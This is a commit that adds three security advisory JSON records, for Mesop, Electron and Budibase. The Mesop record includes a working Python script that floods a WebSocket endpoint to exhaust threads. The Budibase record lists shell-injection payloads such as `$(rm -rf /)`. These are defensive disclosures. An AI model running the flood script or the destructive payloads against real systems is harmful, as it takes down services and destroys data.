Skip to content

Commit 950d29d

Browse files
1 parent 10b557f commit 950d29d

3 files changed

Lines changed: 244 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3jr7-6hqp-x679",
4+
"modified": "2026-04-03T21:54:36Z",
5+
"published": "2026-04-03T21:54:36Z",
6+
"aliases": [
7+
"CVE-2026-34824"
8+
],
9+
"summary": "Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service",
10+
"details": "### Summary\nAn uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.\n\n### Details\nThe vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`.\n\nThere is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. \n\n*Vulnerable code snippet in `mesop/server/server.py`:*\n```python\nwhile True:\n message = ws.receive()\n if not message:\n continue\n # ... message parsing logic ...\n\n # VULNERABILITY: Spawning a new thread for every single message without limits\n thread = threading.Thread(\n target=copy_current_request_context(ws_generate_data),\n args=(ws, ui_request),\n daemon=True,\n )\n thread.start()\n```\n### PoC\nTo reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.\n\nPrerequisites:\n\nPython environment with the `websocket-client library` installed (`pip install websocket-client`).\n\nA target Mesop application running locally (e.g., `http://localhost:8080`).\n\nSteps to reproduce:\n\nStart the target Mesop application.\n\nSave the following script as `exploit_dos.py`.\n\nRun the script: python `exploit_dos.py`. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.\n\n```\nimport websocket\nimport base64\n\n# Replace with the target Mesop application's WebSocket URL\nTARGET_WS_URL = \"ws://localhost:8080/__ui__\"\n\n# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` \n# and Protobuf `ParseFromString` without throwing a parsing exception.\nEMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')\n\ndef flood_server():\n ws = websocket.WebSocket()\n try:\n ws.connect(TARGET_WS_URL)\n print(\"[+] Connection established. Initiating thread exhaustion attack...\")\n \n # Rapidly send 50,000 messages to force the server to spawn 50,000 threads\n for i in range(50000):\n ws.send(EMPTY_UI_REQUEST_B64)\n \n print(\"[+] Payloads sent. The server should be unresponsive or crashed by now.\")\n ws.close()\n except Exception as e:\n print(f\"[-] Connection closed or server crashed: {e}\")\n\nif __name__ == \"__main__\":\n flood_server()\n```\n### Impact\nVulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.\n\nImpacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.\n\nSeverity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.\n\n### Mitigation (Recommended Fixes):\n\nUse a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)\nIntroduce per-connection rate limiting\nImplement a message queue with backpressure\nConsider migrating to an async event loop model instead of spawning OS threads",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "mesop"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "1.2.3"
29+
},
30+
{
31+
"fixed": "1.2.5"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/mesop-dev/mesop/commit/760a2079b5c609038c826d24dfbcf9b0be98d987"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/mesop-dev/mesop"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/mesop-dev/mesop/releases/tag/v1.2.5"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-400"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-03T21:54:36Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8x5q-pvf5-64mp",
4+
"modified": "2026-04-03T21:52:33Z",
5+
"published": "2026-04-03T21:52:33Z",
6+
"aliases": [
7+
"CVE-2026-34764"
8+
],
9+
"summary": "Electron: Use-after-free in offscreen shared texture release() callback",
10+
"details": "### Impact\nApps that use offscreen rendering with GPU shared textures may be vulnerable to a use-after-free. Under certain conditions, the `release()` callback provided on a `paint` event texture can outlive its backing native state, and invoking it after that point dereferences freed memory in the main process, which may lead to a crash or memory corruption.\n\nApps are only affected if they use offscreen rendering with `webPreferences.offscreen: { useSharedTexture: true }`. Apps that do not enable shared-texture offscreen rendering are not affected.\n\n### Workarounds\nEnsure `texture.release()` is called promptly after the texture has been consumed, before the texture object becomes unreachable.\n\n### Fixed Versions\n* `42.0.0-alpha.5`\n* `41.1.0`\n* `40.8.5`\n* `39.8.5`\n\n### For more information\nIf there are any questions or comments about this advisory, send an email to [security@electronjs.org](mailto:security@electronjs.org)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "electron"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "33.0.0-alpha.1"
29+
},
30+
{
31+
"fixed": "39.8.5"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "npm",
40+
"name": "electron"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "40.0.0-alpha.1"
48+
},
49+
{
50+
"fixed": "40.8.5"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "npm",
59+
"name": "electron"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "41.0.0-alpha.1"
67+
},
68+
{
69+
"fixed": "41.1.0"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "npm",
78+
"name": "electron"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "42.0.0-alpha.1"
86+
},
87+
{
88+
"fixed": "42.0.0-alpha.5"
89+
}
90+
]
91+
}
92+
]
93+
}
94+
],
95+
"references": [
96+
{
97+
"type": "WEB",
98+
"url": "https://github.com/electron/electron/security/advisories/GHSA-8x5q-pvf5-64mp"
99+
},
100+
{
101+
"type": "PACKAGE",
102+
"url": "https://github.com/electron/electron"
103+
}
104+
],
105+
"database_specific": {
106+
"cwe_ids": [
107+
"CWE-416"
108+
],
109+
"severity": "LOW",
110+
"github_reviewed": true,
111+
"github_reviewed_at": "2026-04-03T21:52:33Z",
112+
"nvd_published_at": null
113+
}
114+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gjw9-34gf-rp6m",
4+
"modified": "2026-04-03T21:53:32Z",
5+
"published": "2026-04-03T21:53:32Z",
6+
"aliases": [
7+
"CVE-2026-25044"
8+
],
9+
"summary": "Budibase: Command Injection in Bash Automation Step",
10+
"details": "**Location**: `packages/server/src/automations/steps/bash.ts` \n\n#### Description\nThe bash automation step executes user-provided commands using `execSync` without proper sanitization or validation. User input is processed through `processStringSync` which allows template interpolation, potentially allowing arbitrary command execution.\n\n#### Code Reference\n```21:28:packages/server/src/automations/steps/bash.ts\n const command = processStringSync(inputs.code, context)\n\n let stdout,\n success = true\n try {\n stdout = execSync(command, {\n timeout: environment.QUERY_THREAD_TIMEOUT,\n }).toString()\n```\n\n#### Attack Vector\nAn attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., `$(rm -rf /)`, `; malicious-command`, `| malicious-command`).\n\n#### Impact\n- Remote code execution (RCE)\n- Complete system compromise\n- Data exfiltration\n- Lateral movement within the infrastructure\n\n#### Recommendation\n1. **Immediate**: Disable bash automation step in production until fixed\n2. Implement a whitelist of allowed commands\n3. Use parameterized command execution with proper escaping\n4. Implement command argument validation\n5. Consider using a restricted shell or command sandboxing\n6. Add rate limiting and monitoring for command execution\n\n#### Example Fix\n```typescript\nimport { spawn } from \"child_process\"\n\n// Validate against whitelist\nconst ALLOWED_COMMANDS = [\"echo\", \"date\", \"pwd\"] // Extend as needed\n\nfunction sanitizeCommand(input: string): string {\n // Remove dangerous characters and command chaining\n return input.replace(/[;&|`$(){}[\\]]/g, \"\").trim()\n}\n\nfunction validateCommand(cmd: string): boolean {\n const parts = cmd.split(/\\s+/)\n return ALLOWED_COMMANDS.includes(parts[0])\n}\n\nexport async function run({ inputs, context }) {\n if (!inputs.code) {\n return { stdout: \"Budibase bash automation failed: Invalid inputs\" }\n }\n\n const processedCommand = processStringSync(inputs.code, context)\n const sanitized = sanitizeCommand(processedCommand)\n \n if (!validateCommand(sanitized)) {\n return {\n success: false,\n stdout: \"Command not allowed\"\n }\n }\n\n // Use spawn instead of execSync with proper argument handling\n return new Promise((resolve) => {\n const [command, ...args] = sanitized.split(/\\s+/)\n const proc = spawn(command, args, {\n timeout: environment.QUERY_THREAD_TIMEOUT,\n })\n \n let stdout = \"\"\n proc.stdout.on(\"data\", (data) => { stdout += data })\n proc.on(\"close\", (code) => {\n resolve({ stdout, success: code === 0 })\n })\n })\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@budibase/server"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.33.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-gjw9-34gf-rp6m"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25044"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/Budibase/budibase"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/Budibase/budibase/releases/tag/3.33.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-78"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-03T21:53:32Z",
63+
"nvd_published_at": "2026-04-03T16:16:35Z"
64+
}
65+
}

0 commit comments

Comments
 (0)